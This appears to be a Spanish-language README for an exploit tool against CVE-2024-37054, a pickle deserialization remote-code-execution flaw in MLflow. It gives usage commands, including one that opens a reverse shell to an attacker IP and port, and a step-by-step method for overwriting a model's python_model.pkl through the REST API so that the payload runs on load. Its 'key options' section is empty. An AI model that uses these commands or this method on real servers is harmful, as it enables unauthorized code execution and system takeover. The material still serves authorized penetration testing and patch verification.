CVE-2024-37054 — RCE por deserialización en MLflow pyfunc

Gravedad: Crítica
Versiones afectadas: MLflow 0.9.0 – 2.14.1
Tipo: Ejecución arbitraria de código mediante deserialización de pickle en Python

Descripción

mlflow.pyfunc.load_model() deserializa python_model.pkl del almacén de artefactos sin ningún tipo de sanitización. Un atacante que pueda acceder a la API REST de artefactos de MLflow puede sobrescribir ese archivo con un pickle malicioso, que ejecuta comandos arbitrarios del sistema operativo la próxima vez que se cargue el modelo.

Requisitos

pip install requests cloudpickle

Uso

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Opciones clave

Cómo funciona

1. Descubrir — consulta /api/2.0/mlflow/registered-models/search para encontrar un modelo y su run_id / experiment_id
2. Envenenar — PUT de un payload cloudpickle malicioso a /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. Disparar — cualquier ruta de código que llame a mlflow.pyfunc.load_model() sobre ese modelo deserializa el payload y ejecuta el comando

El paso de disparo requiere un endpoint de aplicación que cargue el modelo. Si no se conoce ninguno, usa --no-trigger (u omite --trigger-url) y dispara la carga por cualquier medio disponible.

Descargo de responsabilidad

Solo para pruebas de penetración autorizadas y fines educativos.